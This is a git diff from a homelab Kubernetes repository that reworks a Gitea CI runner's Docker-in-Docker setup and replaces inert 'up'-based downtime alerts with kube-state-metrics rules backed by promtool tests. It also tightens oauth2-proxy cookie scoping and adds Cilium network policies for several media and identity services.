-                echo "waiting for dind daemon on :2376 ($j)"; sleep 1
-              done
-              exec /sbin/tini -- /opt/act/run.sh
+          # No `command:` override. The image's own entrypoint (/sbin/tini -- /opt/act/run.sh)
+          # registers from env on first boot and runs `act_runner daemon`. The two wait-loops
+          # that used to live here are gone: kubelet now holds this container until the dind
+          # sidecar's startupProbe passes (see initContainers above).
           env:
             - name: GITEA_INSTANCE_URL
               value: https://gitea.${BASE_DOMAIN}
@@ -198,52 +207,6 @@ spec:
               memory: 128Mi
             limits:
               memory: 512Mi
-        # ---- Docker-in-Docker: the job executor daemon (privileged) ----
-        #
-        # FOLLOW-UP (deliberately NOT bundled into the readiness fix above — own change):
-        #   Convert this container into a NATIVE SIDECAR and delete both shell wait-loops.
-        #   k3s is now v1.36, where sidecar containers are GA, so kubelet can enforce the
-        #   ordering that the loops above hand-roll — which also removes the envsubst hazard
-        #   from this file entirely (no shell, no $i/$j, nothing to escape or mis-escape).
-        #   Shape to build:
-        #     1. Move this whole container into `initContainers:` as the FIRST entry.
-        #     2. Add `restartPolicy: Always` to it. That single field is what makes an
-        #        initContainer a sidecar: it starts before the regular containers, keeps
-        #        running alongside them, and is terminated after them.
-        #     3. Give it a `startupProbe` that succeeds only when dockerd accepts a TLS
-        #        connection — e.g. `exec` a `docker -H tcp://127.0.0.1:2376 --tlsverify
-        #        --tlscacert /certs/client/ca.pem --tlscert /certs/client/cert.pem
-        #        --tlskey /certs/client/key.pem info`. Do NOT use a bare `tcpSocket` probe:
-        #        it would re-open the same "port accepting but TLS/certs not ready" gap that
-        #        Stage 1 above exists to close. `periodSeconds: 1` + `failureThreshold: 60`
-        #        preserves today's 60s cap.
-        #     4. kubelet then holds the `runner` container until that startupProbe passes, so
-        #        `runner` can drop its `command:` override completely and run the image's
-        #        default entrypoint.
-        #   Why it is a separate change: this Deployment is the ENFORCED MERGE GATE for this
-        #   entire repository. If the conversion is wrong, nothing can merge — so it must land
-        #   alone, where the failure is unambiguous and not entangled with anything else, and
-        #   only after a real workflow run has been observed green on the converted pod.
-        - name: dind
-          image: docker:27-dind
-          securityContext:
-            privileged: true
-          env:
-            # Generate + publish TLS certs into the shared emptyDir; dockerd then listens
-            # on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
-            - name: DOCKER_TLS_CERTDIR
-              value: /certs
-          volumeMounts:
-            - name: certs
-              mountPath: /certs
-            - name: dind-storage
-              mountPath: /var/lib/docker
-          resources:
-            requests:
-              cpu: 100m
-              memory: 256Mi
-            limits:
-              memory: 2Gi
       volumes:
         - name: data
           persistentVolumeClaim:

apps/wave-1/keycloak.yaml

@@ -184,26 +184,6 @@ spec:
     - name: keycloak
       port: 8080
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: keycloak
-  namespace: keycloak
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: keycloak
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: keycloak
-  namespaceSelector:
-    matchNames:
-    - keycloak
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -218,11 +198,11 @@ spec:
   - name: keycloak.slis
     rules:
     - alert: keycloak-down
-      expr: up{job="keycloak"} == 0
+      expr: kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"} == 0 or absent(kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"})
       for: 5m
       labels:
         severity: critical
         service: keycloak
       annotations:
         summary: keycloak is down
-        description: 'keycloak has been unreachable for 5m (SLI: up).'
+        description: 'keycloak: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready).'

apps/wave-1/nextcloud.yaml

@@ -290,26 +290,6 @@ spec:
     - name: nextcloud
       port: 80
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: nextcloud
-  namespace: nextcloud
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: nextcloud
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: nextcloud
-  namespaceSelector:
-    matchNames:
-    - nextcloud
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -324,11 +304,11 @@ spec:
   - name: nextcloud.slis
     rules:
     - alert: nextcloud-down
-      expr: up{job="nextcloud"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"} == 0 or absent(kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"})
       for: 5m
       labels:
         severity: critical
         service: nextcloud
       annotations:
         summary: nextcloud is down
-        description: 'nextcloud has been unreachable for 5m (SLI: up).'
+        description: 'nextcloud: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-1/radarr.yaml

@@ -153,11 +153,16 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://radarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --api-route=^/api/
+        - --api-route=^/signalr/
+        - --cookie-name=_oauth2_proxy_radarr
+        - --cookie-domain=radarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +183,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -275,6 +283,28 @@ spec:
       - port: '9117'
         protocol: TCP
 ---
+# CiliumNetworkPolicy egress allow (R-NET-02): radarr-allow-plex-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: radarr-allow-plex-32400
+  namespace: radarr
+  labels:
+    app.kubernetes.io/name: radarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: radarr
+  egress:
+  - toEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: plex
+        k8s:io.kubernetes.pod.namespace: plex
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): radarr-allow-seerr-7878
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -317,6 +347,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): radarr-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: radarr-allow-monitoring-scrape
+  namespace: radarr
+  labels:
+    app.kubernetes.io/name: radarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: radarr
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): radarr-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -348,6 +399,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: media-users,platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -364,26 +416,6 @@ spec:
     - name: radarr
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: radarr
-  namespace: radarr
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: radarr
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: radarr
-  namespaceSelector:
-    matchNames:
-    - radarr
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -398,11 +430,11 @@ spec:
   - name: radarr.slis
     rules:
     - alert: radarr-down
-      expr: up{job="radarr"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"})
       for: 5m
       labels:
         severity: critical
         service: radarr
       annotations:
         summary: radarr is down
-        description: 'radarr has been unreachable for 5m (SLI: up).'
+        description: 'radarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-1/semaphore.yaml

@@ -227,6 +227,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: oidc
     homelab.keithjackson.dev/auth-groups: platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -243,26 +244,6 @@ spec:
     - name: semaphore
       port: 3000
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: semaphore
-  namespace: semaphore
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: semaphore
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: semaphore
-  namespaceSelector:
-    matchNames:
-    - semaphore
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -277,11 +258,11 @@ spec:
   - name: semaphore.slis
     rules:
     - alert: semaphore-down
-      expr: up{job="semaphore"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"} == 0 or absent(kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"})
       for: 5m
       labels:
         severity: critical
         service: semaphore
       annotations:
         summary: semaphore is down
-        description: 'semaphore has been unreachable for 5m (SLI: up).'
+        description: 'semaphore: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-1/sonarr.yaml

@@ -153,11 +153,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.${BASE_DOMAIN}/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.${BASE_DOMAIN}
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -178,6 +181,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m
@@ -275,6 +281,28 @@ spec:
       - port: '9117'
         protocol: TCP
 ---
+# CiliumNetworkPolicy egress allow (R-NET-02): sonarr-allow-plex-32400
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: sonarr-allow-plex-32400
+  namespace: sonarr
+  labels:
+    app.kubernetes.io/name: sonarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: sonarr
+  egress:
+  - toEndpoints:
+    - matchLabels:
+        app.kubernetes.io/name: plex
+        k8s:io.kubernetes.pod.namespace: plex
+    toPorts:
+    - ports:
+      - port: '32400'
+        protocol: TCP
+---
 # CiliumNetworkPolicy reciprocal ingress allow (R-NET-02): sonarr-allow-seerr-8989
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -317,6 +345,27 @@ spec:
       - port: '4180'
         protocol: TCP
 ---
+# CiliumNetworkPolicy monitoring scrape ingress allow (R-NET-02/R-OBS-01): sonarr-allow-monitoring-scrape
+apiVersion: cilium.io/v2
+kind: CiliumNetworkPolicy
+metadata:
+  name: sonarr-allow-monitoring-scrape
+  namespace: sonarr
+  labels:
+    app.kubernetes.io/name: sonarr
+spec:
+  endpointSelector:
+    matchLabels:
+      app.kubernetes.io/name: sonarr
+  ingress:
+  - fromEndpoints:
+    - matchLabels:
+        k8s:io.kubernetes.pod.namespace: monitoring
+    toPorts:
+    - ports:
+      - port: '44180'
+        protocol: TCP
+---
 # CiliumNetworkPolicy world egress allow (egress class governs the path; R-NET-05): sonarr-allow-internet-egress
 apiVersion: cilium.io/v2
 kind: CiliumNetworkPolicy
@@ -348,6 +397,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: media-users,platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -364,26 +414,6 @@ spec:
     - name: sonarr
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: sonarr
-  namespace: sonarr
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: sonarr
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: sonarr
-  namespaceSelector:
-    matchNames:
-    - sonarr
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -398,11 +428,11 @@ spec:
   - name: sonarr.slis
     rules:
     - alert: sonarr-down
-      expr: up{job="sonarr"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"})
       for: 5m
       labels:
         severity: critical
         service: sonarr
       annotations:
         summary: sonarr is down
-        description: 'sonarr has been unreachable for 5m (SLI: up).'
+        description: 'sonarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-1/tests/app-slis.test.yaml

@@ -0,0 +1,245 @@
+# promtool rule-unit tests for the wave-1 per-app `<app>-down` SLI rules.
+# Manifests under test: every PrometheusRule in apps/wave-1/ — nextcloud, radarr, semaphore, sonarr
+# (container/Deployment) and keycloak (StatefulSet, see below). Discovered by the SUITE convention;
+# the flattened manifests are the RENDERED ones Flux applies.
+#
+# Run with: platform/monitoring/tests/run.sh apps/wave-1/tests/app-slis.test.yaml
+#
+# See apps/wave-0/tests/app-slis.test.yaml for the full history: these rules all read
+# `up{job="<app>"} == 0` until 2026-09-13 against a job no scrape target produced, and were
+# structurally inert on prod. Each is now pinned QUIET on the healthy state, FIRING on no-ready-
+# replica, and FIRING when the signal is ABSENT.
+#
+# KEYCLOAK IS THE INTERESTING ONE. Its server is a StatefulSet run by the Keycloak operator, NOT the
+# Deployment this ServiceDefinition would otherwise imply — so its rule reads
+# kube_statefulset_status_replicas_ready (catalog/keycloak.yaml declares
+# `observability.livenessWorkload: {kind: StatefulSet, name: keycloak}`). Had it been left to the
+# default, the `absent()` half would have matched forever and the alert would have been PERMANENTLY
+# FIRING, which is the other failure mode this repo has shipped to prod. Verified on prod
+# 2026-09-13: kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"}
+# = 2, and the only Deployment in that namespace is keycloak-operator.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  # ===========================================================================================
+  # 1. HEALTHY WAVE-1 -> every rule SILENT ("not permanently firing").
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-1 healthy - every app ready, keycloak StatefulSet at 2 replicas - all quiet
+    input_series:
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"}'
+        values: '2+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"}'
+        values: '1+0x20'
+      # The namespace's OTHER workloads are present on purpose: keycloak-operator is a Deployment in
+      # the keycloak namespace, and keycloak-db is a StatefulSet in it. A rule that matched the
+      # namespace only (not the object) would be satisfied — or triggered — by these instead of by
+      # the IdP itself. That is the exact masking KeycloakDown had to be fixed for.
+      - series: 'kube_deployment_status_replicas_available{namespace="keycloak", deployment="keycloak-operator"}'
+        values: '1+0x20'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak-db"}'
+        values: '3+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: keycloak-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: nextcloud-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: radarr-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: semaphore-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: sonarr-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 2. THE IdP ITSELF IS DOWN while its operator and DB are fine -> ONLY keycloak-down fires.
+  #    This is the anti-masking assertion: the neighbours in that namespace stay ready.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-1 keycloak StatefulSet has no ready replica (operator + DB fine) - keycloak-down fires
+    input_series:
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="keycloak", deployment="keycloak-operator"}'
+        values: '1+0x20'
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak-db"}'
+        values: '3+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: keycloak-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: keycloak
+              namespace: keycloak
+              statefulset: keycloak
+            exp_annotations:
+              summary: "keycloak is down"
+              description: "keycloak: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
+      - eval_time: 10m
+        alertname: nextcloud-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: radarr-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: semaphore-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: sonarr-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 3. EACH DEPLOYMENT-BACKED APP DOWN -> its own rule fires, keycloak stays quiet.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-1 nextcloud/radarr/semaphore/sonarr have no available replica - each own rule fires
+    input_series:
+      - series: 'kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"}'
+        values: '2+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="nextcloud", deployment="nextcloud"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="radarr", deployment="radarr"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="semaphore", deployment="semaphore"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="sonarr", deployment="sonarr"}'
+        values: '0+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: nextcloud-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: nextcloud
+              namespace: nextcloud
+              deployment: nextcloud
+            exp_annotations:
+              summary: "nextcloud is down"
+              description: "nextcloud: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: radarr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: radarr
+              namespace: radarr
+              deployment: radarr
+            exp_annotations:
+              summary: "radarr is down"
+              description: "radarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: semaphore-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: semaphore
+              namespace: semaphore
+              deployment: semaphore
+            exp_annotations:
+              summary: "semaphore is down"
+              description: "semaphore: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: sonarr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: sonarr
+              namespace: sonarr
+              deployment: sonarr
+            exp_annotations:
+              summary: "sonarr is down"
+              description: "sonarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: keycloak-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 4. THE SIGNAL VANISHES -> the rules FIRE. The defect class itself, asserted on: a rule that can
+  #    only fire on `== 0` goes SILENT when kube-state-metrics or the workload object disappears,
+  #    which is indistinguishable from healthy. Here NOTHING in wave-1 is scraped.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-1 all liveness series ABSENT (kube-state-metrics gone) - every rule fires
+    input_series:
+      # One unrelated series so the test has an input at all; no wave-1 liveness series exists.
+      - series: 'up{job="kube-state-metrics"}'
+        values: '0+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: keycloak-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: keycloak
+              namespace: keycloak
+              statefulset: keycloak
+            exp_annotations:
+              summary: "keycloak is down"
+              description: "keycloak: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready)."
+      - eval_time: 10m
+        alertname: nextcloud-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: nextcloud
+              namespace: nextcloud
+              deployment: nextcloud
+            exp_annotations:
+              summary: "nextcloud is down"
+              description: "nextcloud: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: radarr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: radarr
+              namespace: radarr
+              deployment: radarr
+            exp_annotations:
+              summary: "radarr is down"
+              description: "radarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: semaphore-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: semaphore
+              namespace: semaphore
+              deployment: semaphore
+            exp_annotations:
+              summary: "semaphore is down"
+              description: "semaphore: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: sonarr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: sonarr
+              namespace: sonarr
+              deployment: sonarr
+            exp_annotations:
+              summary: "sonarr is down"
+              description: "sonarr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."

apps/wave-2/seerr.yaml

@@ -233,26 +233,6 @@ spec:
     - name: seerr
       port: 5055
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: seerr
-  namespace: seerr
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: seerr
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: seerr
-  namespaceSelector:
-    matchNames:
-    - seerr
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -267,11 +247,11 @@ spec:
   - name: seerr.slis
     rules:
     - alert: seerr-down
-      expr: up{job="seerr"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"})
       for: 5m
       labels:
         severity: critical
         service: seerr
       annotations:
         summary: seerr is down
-        description: 'seerr has been unreachable for 5m (SLI: up).'
+        description: 'seerr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-2/tests/app-slis.test.yaml

@@ -0,0 +1,69 @@
+# promtool rule-unit tests for the wave-2 per-app `<app>-down` SLI rule (seerr).
+# Manifest under test: apps/wave-2/seerr.yaml. Discovered by the SUITE convention; the flattened
+# manifest is the RENDERED one Flux applies.
+#
+# Run with: platform/monitoring/tests/run.sh apps/wave-2/tests/app-slis.test.yaml
+#
+# seerr (Jellyseerr/Overseerr) exports NO Prometheus metrics of its own, so its `up` SLI could never
+# have been met by scraping the app — see apps/wave-0/tests/app-slis.test.yaml for the full history
+# of the inert `up{job="seerr"} == 0` rule this replaces. Pinned in both directions plus the
+# signal-vanishes case.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  - interval: 1m
+    name: wave-2 healthy - seerr has an available replica - quiet
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: seerr-down
+        exp_alerts: []
+
+  - interval: 1m
+    name: wave-2 seerr has no available replica - seerr-down fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"}'
+        values: '0+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: seerr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: seerr
+              namespace: seerr
+              deployment: seerr
+            exp_annotations:
+              summary: "seerr is down"
+              description: "seerr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+    # Under `for: 5m` a 2m-old condition must NOT yet be a firing alert, but the expression must
+    # already be selecting — the distinction an inert rule cannot make.
+    promql_expr_test:
+      - expr: 'kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"} == 0 or absent(kube_deployment_status_replicas_available{namespace="seerr", deployment="seerr"})'
+        eval_time: 2m
+        exp_samples:
+          - labels: 'kube_deployment_status_replicas_available{deployment="seerr", namespace="seerr"}'
+            value: 0
+
+  - interval: 1m
+    name: wave-2 seerr liveness series ABSENT - seerr-down still fires
+    input_series:
+      - series: 'up{job="kube-state-metrics"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: seerr-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: seerr
+              namespace: seerr
+              deployment: seerr
+            exp_annotations:
+              summary: "seerr is down"
+              description: "seerr: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."

catalog/gitea.yaml

@@ -208,6 +208,19 @@ inClusterClients:
     namespace: flux-system      # matched by NAMESPACE alone — the flux controllers' pod labels belong
                                 # to upstream's manifests, not to this platform's contract
     port: 3000                  # ONLY the Gitea HTTP port — the same single port the Gateway allow opens
+  # The PM agent service (platform/pm-agent/). Its dispatcher reads issues and posts comments
+  # over this port, and every worker Job clones, pushes and opens pull requests over it. Like
+  # Flux's source-controller above, it dials the ClusterIP DIRECTLY — deliberately, so the
+  # agent's path to the repository depends on neither public DNS, nor Cloudflare, nor the
+  # shared Gateway, nor ${BASE_DOMAIN}. And exactly as for Flux, that means this namespace's
+  # own default-deny (R-NET-01) DROPS the connection unless it is declared here: without this
+  # entry the dispatcher's egress allow is satisfied and the packet is still discarded at the
+  # Gitea end, which presents as an authentication timeout rather than as a policy denial.
+  # That is the 2026-09-13 lesson documented at length above, applied before it is relearned.
+  - name: pm-agent
+    namespace: pm-agent         # matched by NAMESPACE alone, so the dispatcher Deployment and every
+                                # ephemeral worker Job are covered by the one declaration
+    port: 3000                  # ONLY the Gitea HTTP port
 auth:
   mode: oidc                    # native Keycloak OIDC client (docs/13 SSO row, docs/15 "Native OIDC" set; R-IDP-02)
   groups:

catalog/jackett.yaml

@@ -51,6 +51,23 @@ auth:
     # This grants no real privilege: platform-admins already maps to cluster-admin via
     # k8s-oidc-rbac.yaml (oidc:platform-admins), so a member can already exec into these pods.
     - platform-admins           # operators of these services must not be locked out of them
+  # Answer Jackett's OWN API with 401 instead of a 302 to Keycloak (schema 1.9.0; renders
+  # --api-route, singular and repeatable, onto the oauth2-proxy sidecar).
+  #
+  # MEASURED on this pod's access log, 2026-09-30: on /api/ paths, 33 x 302 against 2 x 401 —
+  # and 4 of 6 POSTs were answered BY THE PROXY and never reached Jackett (access-log upstream
+  # field `-`, not `/`), including both `/api/v2.0/server/update` calls. Jackett's jQuery does
+  # not send the exact `Accept: application/json` oauth2-proxy's AJAX guard requires, so the
+  # 302 was followed invisibly, satisfied silently by the live Keycloak SSO session, and
+  # resolved 200 carrying the dashboard's HTML where the JavaScript expected JSON. A browser
+  # following a 302 also re-issues a POST as a GET and DROPS THE BODY, which is why "adding an
+  # indexer silently does nothing" was the user-visible symptom and nothing logged a failure.
+  #
